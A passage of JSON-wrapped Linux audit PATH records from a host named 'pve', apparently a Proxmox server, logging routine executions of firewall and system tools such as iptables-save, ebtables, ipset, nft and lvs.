name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495853,"@rawstring":"node=pve type=PATH msg=audit(1781964495.853:61263): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495853,"@rawstring":"node=pve type=PATH msg=audit(1781964495.853:61263): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495849,"@rawstring":"node=pve type=PATH msg=audit(1781964495.849:61262): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495849,"@rawstring":"node=pve type=PATH msg=audit(1781964495.849:61262): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PATH msg=audit(1781964495.846:61261): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PATH msg=audit(1781964495.846:61261): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PATH msg=audit(1781964495.846:61260): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PATH msg=audit(1781964495.846:61260): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495846,"@rawstring":"node=pve type=PATH msg=audit(1781964495.846:61259): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495842,"@rawstring":"node=pve type=PATH msg=audit(1781964495.842:61258): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495842,"@rawstring":"node=pve type=PATH msg=audit(1781964495.842:61258): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495842,"@rawstring":"node=pve type=PATH msg=audit(1781964495.842:61258): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495836,"@rawstring":"node=pve type=PATH msg=audit(1781964495.836:61257): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495836,"@rawstring":"node=pve type=PATH msg=audit(1781964495.836:61257): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495830,"@rawstring":"node=pve type=PATH msg=audit(1781964495.830:61256): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495830,"@rawstring":"node=pve type=PATH msg=audit(1781964495.830:61256): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495825,"@rawstring":"node=pve type=PATH msg=audit(1781964495.825:61255): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495825,"@rawstring":"node=pve type=PATH msg=audit(1781964495.825:61255): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495820,"@rawstring":"node=pve type=PATH msg=audit(1781964495.820:61254): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495820,"@rawstring":"node=pve type=PATH msg=audit(1781964495.820:61254): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495813,"@rawstring":"node=pve type=PATH msg=audit(1781964495.813:61253): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964495813,"@rawstring":"node=pve type=PATH msg=audit(1781964495.813:61253): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494823,"@rawstring":"node=pve type=PATH msg=audit(1781964494.823:61252): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494823,"@rawstring":"node=pve type=PATH msg=audit(1781964494.823:61252): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494793,"@rawstring":"node=pve type=PATH msg=audit(1781964494.793:61251): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494793,"@rawstring":"node=pve type=PATH msg=audit(1781964494.793:61251): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PATH msg=audit(1781964494.586:61250): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PATH msg=audit(1781964494.586:61250): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PATH msg=audit(1781964494.586:61249): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494586,"@rawstring":"node=pve type=PATH msg=audit(1781964494.586:61248): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PATH msg=audit(1781964494.575:61247): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PATH msg=audit(1781964494.575:61247): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PATH msg=audit(1781964494.575:61246): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964494575,"@rawstring":"node=pve type=PATH msg=audit(1781964494.575:61245): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PATH msg=audit(1781964489.567:61244): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PATH msg=audit(1781964489.567:61244): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PATH msg=audit(1781964489.567:61243): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489567,"@rawstring":"node=pve type=PATH msg=audit(1781964489.567:61242): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489558,"@rawstring":"node=pve type=PATH msg=audit(1781964489.558:61241): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489558,"@rawstring":"node=pve type=PATH msg=audit(1781964489.558:61241): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489558,"@rawstring":"node=pve type=PATH msg=audit(1781964489.558:61240): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964489557,"@rawstring":"node=pve type=PATH msg=audit(1781964489.557:61239): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485803,"@rawstring":"node=pve type=PATH msg=audit(1781964485.803:61238): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485803,"@rawstring":"node=pve type=PATH msg=audit(1781964485.803:61238): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485800,"@rawstring":"node=pve type=PATH msg=audit(1781964485.800:61237): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485800,"@rawstring":"node=pve type=PATH msg=audit(1781964485.800:61237): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485799,"@rawstring":"node=pve type=PATH msg=audit(1781964485.799:61236): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485799,"@rawstring":"node=pve type=PATH msg=audit(1781964485.799:61236): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485799,"@rawstring":"node=pve type=PATH msg=audit(1781964485.799:61235): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485795,"@rawstring":"node=pve type=PATH msg=audit(1781964485.795:61234): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485795,"@rawstring":"node=pve type=PATH msg=audit(1781964485.795:61234): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485795,"@rawstring":"node=pve type=PATH msg=audit(1781964485.795:61234): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485790,"@rawstring":"node=pve type=PATH msg=audit(1781964485.790:61233): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485790,"@rawstring":"node=pve type=PATH msg=audit(1781964485.790:61233): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485783,"@rawstring":"node=pve type=PATH msg=audit(1781964485.783:61232): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485783,"@rawstring":"node=pve type=PATH msg=audit(1781964485.783:61232): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485776,"@rawstring":"node=pve type=PATH msg=audit(1781964485.776:61231): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485776,"@rawstring":"node=pve type=PATH msg=audit(1781964485.776:61231): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485770,"@rawstring":"node=pve type=PATH msg=audit(1781964485.770:61230): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485770,"@rawstring":"node=pve type=PATH msg=audit(1781964485.770:61230): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485765,"@rawstring":"node=pve type=PATH msg=audit(1781964485.765:61228): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485765,"@rawstring":"node=pve type=PATH msg=audit(1781964485.765:61228): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485760,"@rawstring":"node=pve type=PATH msg=audit(1781964485.760:61227): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485760,"@rawstring":"node=pve type=PATH msg=audit(1781964485.760:61227): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485755,"@rawstring":"node=pve type=PATH msg=audit(1781964485.755:61226): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485755,"@rawstring":"node=pve type=PATH msg=audit(1781964485.755:61226): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485750,"@rawstring":"node=pve type=PATH msg=audit(1781964485.750:61225): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485750,"@rawstring":"node=pve type=PATH msg=audit(1781964485.750:61225): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485745,"@rawstring":"node=pve type=PATH msg=audit(1781964485.745:61224): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485745,"@rawstring":"node=pve type=PATH msg=audit(1781964485.745:61224): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485740,"@rawstring":"node=pve type=PATH msg=audit(1781964485.740:61223): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485740,"@rawstring":"node=pve type=PATH msg=audit(1781964485.740:61223): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485734,"@rawstring":"node=pve type=PATH msg=audit(1781964485.734:61222): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485734,"@rawstring":"node=pve type=PATH msg=audit(1781964485.734:61222): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485728,"@rawstring":"node=pve type=PATH msg=audit(1781964485.728:61221): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485728,"@rawstring":"node=pve type=PATH msg=audit(1781964485.728:61221): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485725,"@rawstring":"node=pve type=PATH msg=audit(1781964485.725:61220): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485725,"@rawstring":"node=pve type=PATH msg=audit(1781964485.725:61220): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485722,"@rawstring":"node=pve type=PATH msg=audit(1781964485.722:61219): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485722,"@rawstring":"node=pve type=PATH msg=audit(1781964485.722:61219): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485721,"@rawstring":"node=pve type=PATH msg=audit(1781964485.721:61218): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485721,"@rawstring":"node=pve type=PATH msg=audit(1781964485.721:61218): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485721,"@rawstring":"node=pve type=PATH msg=audit(1781964485.721:61217): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485717,"@rawstring":"node=pve type=PATH msg=audit(1781964485.717:61216): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485717,"@rawstring":"node=pve type=PATH msg=audit(1781964485.717:61216): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485717,"@rawstring":"node=pve type=PATH msg=audit(1781964485.717:61216): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485710,"@rawstring":"node=pve type=PATH msg=audit(1781964485.710:61215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485710,"@rawstring":"node=pve type=PATH msg=audit(1781964485.710:61215): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485704,"@rawstring":"node=pve type=PATH msg=audit(1781964485.704:61214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485704,"@rawstring":"node=pve type=PATH msg=audit(1781964485.704:61214): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485699,"@rawstring":"node=pve type=PATH msg=audit(1781964485.699:61213): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485699,"@rawstring":"node=pve type=PATH msg=audit(1781964485.699:61213): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485693,"@rawstring":"node=pve type=PATH msg=audit(1781964485.693:61212): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485693,"@rawstring":"node=pve type=PATH msg=audit(1781964485.693:61212): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964485685,"@rawstring":"node=pve type=PATH 